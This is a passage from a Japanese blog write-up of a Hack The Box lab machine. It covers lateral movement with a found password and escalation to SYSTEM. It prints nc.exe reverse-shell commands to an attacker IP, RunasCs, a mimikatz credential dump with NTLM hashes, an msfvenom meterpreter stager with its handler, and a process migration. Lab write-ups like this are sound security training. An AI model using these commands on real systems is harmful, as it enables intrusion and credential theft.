![15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/4466a680-830f-d8ee-c586-581ceadc69b3.png)
答えを教えてくれたので、実行します。
![16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/619a771a-83d6-8b95-db4d-bc87c1956a7c.png)
パスワードが見えます！これで横移動できそうですね！

# ラテラルムーブメント
## runas
平文でクレデンシャル情報を手に入れたら最初に思いつくのは`runas`コマンドでしょう。
```powershell
PS C:\Users\sfitz\Desktop> runas /user:alaading "C:\windows\temp\nc.exe 10.10.14.83 7777 -e cmd"
```
最初に試してみましたが、うまくいきませんでした。
パスワード入力タイミングでスルーされてしまうので。CLIだとうまくいかないかなぁとか思ってました。
## Start-Process
次はpowershellの`Start-Process`コマンドでしょうかね。

https://book.hacktricks.xyz/windows-hardening/basic-powershell-for-pentesters#sudo

以下のコマンドを打ちます。
```powershell
$password = ConvertTo-SecureString "f8gQ8fynP44ek1m3" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("alaading", $password)
Start-Process -NoNewWindow powershell "C:\windows\temp\nc.exe 10.10.14.83 7777 -e cmd" -Credential $cred
```
色々試してみましたが通りませんでした。

## RunasCs
runasを色々調べていると、以下のリポジトリを発見しました。

https://github.com/antonioCoco/RunasCs

これを使えば簡易的に出力をリモートホストにリダイレクトするようになるとのことで、利用してみます。
```powershell
PS C:\Users\sfitz\Desktop> .\RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r 10.10.14.83:7777
.\RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r 10.10.14.83:7777

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-5777b$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 3368 created in background.

PS C:\Users\sfitz\Desktop> 
```
![19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d884ec05-bb77-baf2-7910-8e430f74b357.png)
上手くいきました。
これでUserフラグを獲得できます。

# 権限昇格
## SeDebugPrivilege
権限を確認します。
```powershell
PS C:\Users\alaading\Desktop> whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Enabled 
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Users\alaading\Desktop> 
```
`SeDebugPrivilege`権限が生えてるので`lsass.exe`を攻めていこうと思います。
とりあえずミミミですね。
### mimikatz
mimikatzを回します。
```powershell
PS C:\Users\alaading\Desktop> .\mimikatz.exe
.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 2846665 (00000000:002b6fc9)
Session           : Batch from 0
User Name         : sfitz
Domain            : POV
Logon Server      : POV
Logon Time        : 3/1/2024 12:48:28 AM
SID               : S-1-5-21-2506154456-4081221362-271687478-1000
	msv :	
	 [00000003] Primary
	 * Username : sfitz
	 * Domain   : POV
	 * NTLM     : 012e5ed95e8745ea5180f81648b6ec94
	 * SHA1     : 535051ba0fbd3126b8e4f23dab348c1ff30b9f09
	 * DPAPI    : 535051ba0fbd3126b8e4f23dab348c1f
	tspkg :	
	wdigest :	
	 * Username : sfitz
	 * Domain   : POV
	 * Password : (null)
	kerberos :	
	 * Username : sfitz
	 * Domain   : POV
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 358267 (00000000:0005777b)
Session           : Batch from 0
User Name         : sfitz
Domain            : POV
Logon Server      : POV
Logon Time        : 2/29/2024 9:03:21 PM
SID               : S-1-5-21-2506154456-4081221362-271687478-1000
	msv :	
	 [00000003] Primary
	 * Username : sfitz
	 * Domain   : POV
	 * NTLM     : 012e5ed95e8745ea5180f81648b6ec94
	 * SHA1     : 535051ba0fbd3126b8e4f23dab348c1ff30b9f09
	 * DPAPI    : 535051ba0fbd3126b8e4f23dab348c1f
	tspkg :	
	wdigest :	
	 * Username : sfitz
	 * Domain   : POV
	 * Password : (null)
	kerberos :	
	 * Username : sfitz
	 * Domain   : POV
	 * Password : (null)
	ssp :	
	 [00000000]
	 * Username : alaading
	 * Domain   : (null)
	 * Password : f8gQ8fynP44ek1m3
	credman :	

Authentication Id : 0 ; 82775 (00000000:00014357)
Session           : Interactive from 1
User Name         : UMFD-1
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 2/29/2024 9:02:31 PM
SID               : S-1-5-96-0-1
	msv :	
	tspkg :	
	wdigest :	
	 * Username : POV$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : POV$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2/29/2024 9:02:30 PM
SID               : S-1-5-20
	msv :	
	tspkg :	
	wdigest :	
	 * Username : POV$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	 * Username : pov$
	 * Domain   : WORKGROUP
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 52154 (00000000:0000cbba)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2/29/2024 9:02:29 PM
SID               : 
	msv :	
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 35319563 (00000000:021aef0b)
Session           : Interactive from 0
User Name         : alaading
Domain            : POV
Logon Server      : POV
Logon Time        : 3/2/2024 4:47:52 AM
SID               : S-1-5-21-2506154456-4081221362-271687478-1001
	msv :	
	 [00000003] Primary
	 * Username : alaading
	 * Domain   : POV
	 * NTLM     : 31c0583909b8349cbe92961f9dfa5dbf
	 * SHA1     : 3a8ce69bc0855496a9871aac1d4ba661a8fa0636
	 * DPAPI    : 3a8ce69bc0855496a9871aac1d4ba661
	tspkg :	
	wdigest :	
	 * Username : alaading
	 * Domain   : POV
	 * Password : (null)
	kerberos :	
	 * Username : alaading
	 * Domain   : POV
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 995 (00000000:000003e3)
Session           : Service from 0
User Name         : IUSR
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2/29/2024 9:02:33 PM
SID               : S-1-5-17
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2/29/2024 9:02:32 PM
SID               : S-1-5-19
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 85468 (00000000:00014ddc)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2/29/2024 9:02:32 PM
SID               : S-1-5-90-0-1
	msv :	
	tspkg :	
	wdigest :	
	 * Username : POV$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 53314 (00000000:0000d042)
Session           : Interactive from 0
User Name         : UMFD-0
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 2/29/2024 9:02:29 PM
SID               : S-1-5-96-0-0
	msv :	
	tspkg :	
	wdigest :	
	 * Username : POV$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : POV$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 2/29/2024 9:02:29 PM
SID               : S-1-5-18
	msv :	
	tspkg :	
	wdigest :	
	 * Username : POV$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	 * Username : pov$
	 * Domain   : WORKGROUP
	 * Password : (null)
	ssp :	
	credman :	

mimikatz #  
```
何もいいものがなかったです。`token::elevate`コマンドはローカル管理者権限がいるのでこの辺で打ち切って色々試します。

## Metasploit
### meterpreter
`meterpreter`セッションを作るために、ステージャを作ります。
```bash
┌──(root㉿kali)-[~/work]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.83 LPORT=4443 -f exe -o reverse.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: reverse.exe
```
これをBOXで実行して`hundler`でキャッチします。
```bash
┌──(root㉿kali)-[~/work]
└─# msfconsole                                                                                        
Metasploit tip: Set the current module's RHOSTS with database values using 
hosts -R or services -R
                                                  
                                              `:oDFo:`                            
                                           ./ymM0dayMmy/.                          
                                        -+dHJ5aGFyZGVyIQ==+-                    
                                    `:sm⏣~~Destroy.No.Data~~s:`                
                                 -+h2~~Maintain.No.Persistence~~h+-              
                             `:odNo2~~Above.All.Else.Do.No.Harm~~Ndo:`          
                          ./etc/shadow.0days-Data'%20OR%201=1--.No.0MN8'/.      
                       -++SecKCoin++e.AMd`       `.-://///+hbove.913.ElsMNh+-    
                      -~/.ssh/id_rsa.Des-                  `htN01UserWroteMe!-  
                      :dopeAW.No<nano>o                     :is:TЯiKC.sudo-.A:  
                      :we're.all.alike'`                     The.PFYroy.No.D7:  
                      :PLACEDRINKHERE!:                      yxp_cmdshell.Ab0:    
                      :msf>exploit -j.                       :Ns.BOB&ALICEes7:    
                      :---srwxrwx:-.`                        `MS146.52.No.Per:    
                      :<script>.Ac816/                        sENbove3101.404:    
                      :NT_AUTHORITY.Do                        `T:/shSYSTEM-.N:    
                      :09.14.2011.raid                       /STFU|wall.No.Pr:    
                      :hevnsntSurb025N.                      dNVRGOING2GIVUUP:    
                      :#OUTHOUSE-  -s:                       /corykennedyData:    
                      :$nmap -oS                              SSo.6178306Ence:    
                      :Awsm.da:                            /shMTl#beats3o.No.:    
                      :Ring0:                             `dDestRoyREXKC3ta/M:    
                      :23d:                               sSETEC.ASTRONOMYist:    
                       /-                        /yo-    .ence.N:(){ :|: & };:    
                                                 `:Shall.We.Play.A.Game?tron/    
                                                 ```-ooy.if1ghtf0r+ehUser5`    
                                               ..th3.H1V3.U2VjRFNN.jMh+.`          
                                              `MjM~~WE.ARE.se~~MMjMs              
                                               +~KANSAS.CITY's~-`                  
                                                J~HAKCERS~./.`                    
                                                .esc:wq!:`                        
                                                 +++ATH`                            
                                                  `


       =[ metasploit v6.3.55-dev                          ]
+ -- --=[ 2397 exploits - 1235 auxiliary - 422 post       ]
+ -- --=[ 1388 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search multi/handler

Matching Modules
================

   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ----                                                 ---------------  ----       -----  -----------
   0  exploit/linux/local/apt_package_manager_persistence  1999-03-09       excellent  No     APT Package Manager Persistence
   1  exploit/android/local/janus                          2017-07-31       manual     Yes    Android Janus APK Signature bypass
   2  auxiliary/scanner/http/apache_mod_cgi_bash_env       2014-09-24       normal     Yes    Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
   3  exploit/linux/local/bash_profile_persistence         1989-06-08       normal     No     Bash Profile Persistence
   4  exploit/linux/local/desktop_privilege_escalation     2014-08-07       excellent  Yes    Desktop Linux Password Stealer and Privilege Escalation
   5  exploit/multi/handler                                                 manual     No     Generic Payload Handler
   6  exploit/windows/mssql/mssql_linkcrawler              2000-01-01       great      No     Microsoft SQL Server Database Link Crawling Command Execution
   7  exploit/windows/browser/persits_xupload_traversal    2009-09-29       excellent  No     Persits XUpload ActiveX MakeHttpRequest Directory Traversal
   8  exploit/linux/local/yum_package_manager_persistence  2003-12-17       excellent  No     Yum Package Manager Persistence


Interact with a module by name or index. For example info 8, use 8 or use exploit/linux/local/yum_package_manager_persistence

msf6 > 
msf6 > use 5
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.14.83
LHOST => 10.10.14.83
msf6 exploit(multi/handler) > set LPORT 4443
LPORT => 4443
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.83:4443 
[*] Sending stage (201798 bytes) to 10.10.11.251
[*] Meterpreter session 1 opened (10.10.14.83:4443 -> 10.10.11.251:50099) at 2024-03-02 08:09:50 -0500
```
簡易に`getsystem`してみます。
```bash
meterpreter > getsystem
[-] stdapi_sys_config_getuid: Operation failed: 1346 The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
[-] Named Pipe Impersonation (PrintSpooler variant)
[-] Named Pipe Impersonation (EFSRPC variant - AKA EfsPotato)
meterpreter >
```
ダメですね。

### local_exploit_suggester
簡易にExploitを提案してもらいます。
```bash
meterpreter > bg
[*] Backgrounding session 2...
msf6 exploit(multi/handler) > search suggest

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank       Check  Description
   -  ----                                                  ---------------  ----       -----  -----------
   0  auxiliary/server/icmp_exfil                                            normal     No     ICMP Exfiltration Service
   1  exploit/windows/browser/ms10_018_ie_behaviors         2010-03-09       good       No     MS10-018 Microsoft Internet Explorer DHTML Behaviors Use After Free
   2  post/multi/recon/local_exploit_suggester                               normal     No     Multi Recon Local Exploit Suggester
   3  auxiliary/scanner/http/nagios_xi_scanner                               normal     No     Nagios XI Scanner
   4  post/osx/gather/enum_colloquy                                          normal     No     OS X Gather Colloquy Enumeration
   5  post/osx/manage/sonic_pi                                               normal     No     OS X Manage Sonic Pi
   6  exploit/multi/http/torchserver_cve_2023_43654         2023-10-03       excellent  Yes    PyTorch Model Server Registration and Deserialization RCE
   7  exploit/windows/http/sharepoint_data_deserialization  2020-07-14       excellent  Yes    SharePoint DataSet / DataTable Deserialization
   8  exploit/windows/smb/timbuktu_plughntcommand_bof       2009-06-25       great      No     Timbuktu PlughNTCommand Named Pipe Buffer Overflow


Interact with a module by name or index. For example info 8, use 8 or use exploit/windows/smb/timbuktu_plughntcommand_bof

msf6 exploit(multi/handler) > use 2
msf6 post(multi/recon/local_exploit_suggester) > show options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this module on
   SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits


View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > set SESSION 2
SESSION => 2
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.11.251 - Collecting local exploits for x64/windows...
[*] 10.10.11.251 - 193 exploit checks are being tried...
[+] 10.10.11.251 - exploit/windows/local/bypassuac_sluihijack: The target appears to be vulnerable.
[+] 10.10.11.251 - exploit/windows/local/cve_2020_1048_printerdemon: The target appears to be vulnerable.
[+] 10.10.11.251 - exploit/windows/local/cve_2020_1337_printerdemon: The target appears to be vulnerable.
[+] 10.10.11.251 - exploit/windows/local/cve_2022_21882_win32k: The target appears to be vulnerable.
[+] 10.10.11.251 - exploit/windows/local/cve_2022_21999_spoolfool_privesc: The target appears to be vulnerable.
[+] 10.10.11.251 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[*] Running check method for exploit 45 / 45
[*] 10.10.11.251 - Valid modules for session 2:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_sluihijack                     Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/cve_2020_1048_printerdemon               Yes                      The target appears to be vulnerable.
 3   exploit/windows/local/cve_2020_1337_printerdemon               Yes                      The target appears to be vulnerable.
 4   exploit/windows/local/cve_2022_21882_win32k                    Yes                      The target appears to be vulnerable.
 5   exploit/windows/local/cve_2022_21999_spoolfool_privesc         Yes                      The target appears to be vulnerable.
 6   exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.
 7   exploit/windows/local/agnitum_outpost_acs                      No                       The target is not exploitable.
 8   exploit/windows/local/always_install_elevated                  No                       The target is not exploitable.
 9   exploit/windows/local/bits_ntlm_token_impersonation            No                       The target is not exploitable.
 10  exploit/windows/local/bypassuac_dotnet_profiler                No                       The target is not exploitable.
 11  exploit/windows/local/bypassuac_eventvwr                       No                       The target is not exploitable.
 12  exploit/windows/local/bypassuac_fodhelper                      No                       The target is not exploitable.
 13  exploit/windows/local/bypassuac_sdclt                          No                       The target is not exploitable.

 ...省略
```
とりあえずYESで試してみます。
```bash
msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/bypassuac_sluihijack
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_sluihijack) > show options

Module options (exploit/windows/local/bypassuac_sluihijack):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86



View the full module info with the info, or info -d command.

msf6 exploit(windows/local/bypassuac_sluihijack) > set SESSION 2
SESSION => 2
msf6 exploit(windows/local/bypassuac_sluihijack) > set LHOST 10.10.14.83
LHOST => 10.10.14.83
msf6 exploit(windows/local/bypassuac_sluihijack) > run

[*] Started reverse TCP handler on 10.10.14.83:4444 
[*] UAC is Enabled, checking level...
[-] Exploit aborted due to failure: no-access: Not in admins group, cannot escalate with this module
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/bypassuac_sluihijack) > 
```
ダメっぽいです。

### migrate
プロセス移動してみます。
親プロセスに移動してみます。
```bash
meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session  User          Path
 ---   ----  ----               ----  -------  ----          ----
 0     0     [System Process]
 4     0     System             x64   0
 68    620   svchost.exe        x64   0                      C:\Windows\System32\svchost.exe
 88    4     Registry           x64   0
 288   4     smss.exe           x64   0
 320   620   svchost.exe        x64   0                      C:\Windows\System32\svchost.exe
 376   368   csrss.exe          x64   0
 480   368   wininit.exe        x64   0
 488   472   csrss.exe          x64   1
 496   1324  powershell.exe     x64   0                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 548   472   winlogon.exe       x64   1                      C:\Windows\System32\winlogon.exe
 620   480   services.exe       x64   0

 ...省略

  3736  776   WmiPrvSE.exe       x64   0                      C:\Windows\System32\wbem\WmiPrvSE.exe
 3840  1816  powershell.exe     x64   0                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 3872  548   LogonUI.exe        x64   1                      C:\Windows\System32\LogonUI.exe
 3900  848   chisel.exe         x64   0                      C:\Windows\Temp\chisel.exe
 4000  1524  conhost.exe        x64   0                      C:\Windows\System32\conhost.exe
 4288  1172  powershell.exe     x64   0                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 4324  776   wsmprovhost.exe    x64   0        POV\alaading  C:\Windows\System32\wsmprovhost.exe
 4360  3368  conhost.exe        x64   0        POV\alaading  C:\Windows\System32\conhost.exe
 4644  1816  conhost.exe        x64   0                      C:\Windows\System32\conhost.exe
 4660  620   svchost.exe        x64   0                      C:\Windows\System32\svchost.exe
 4728  3312  cmd.exe            x86   0                      C:\Windows\SysWOW64\cmd.exe
 4844  4288  runas.exe          x64   0                      C:\Windows\System32\runas.exe
 4872  620   svchost.exe        x64   0                      C:\Windows\System32\svchost.exe
 4908  620   svchost.exe        x64   0                      C:\Windows\System32\svchost.exe
 4956  620   svchost.exe        x64   0                      C:\Windows\System32\svchost.exe
 4964  620   svchost.exe        x64   0                      C:\Windows\System32\svchost.exe
 5052  620   svchost.exe        x64   0                      C:\Windows\System32\svchost.exe

meterpreter > 
```
`776`辺りに行ってみます。
```bash
meterpreter > migrate 776
[*] Migrating from 996 to 776...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 
```
あれ、SYSTEM権限じゃん！
これでRootフラグが見えます。

# まとめ
![21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/529c41fe-b877-4597-b33d-c8a1427587f6.png)
これで特権昇格に成功し、Administrator権限を奪取できました。
ラテラルムーブメントの引き出しが増えたので楽しいBOXでした！

今回もセキュリティエンジニアの皆さんの助けになればなと思います。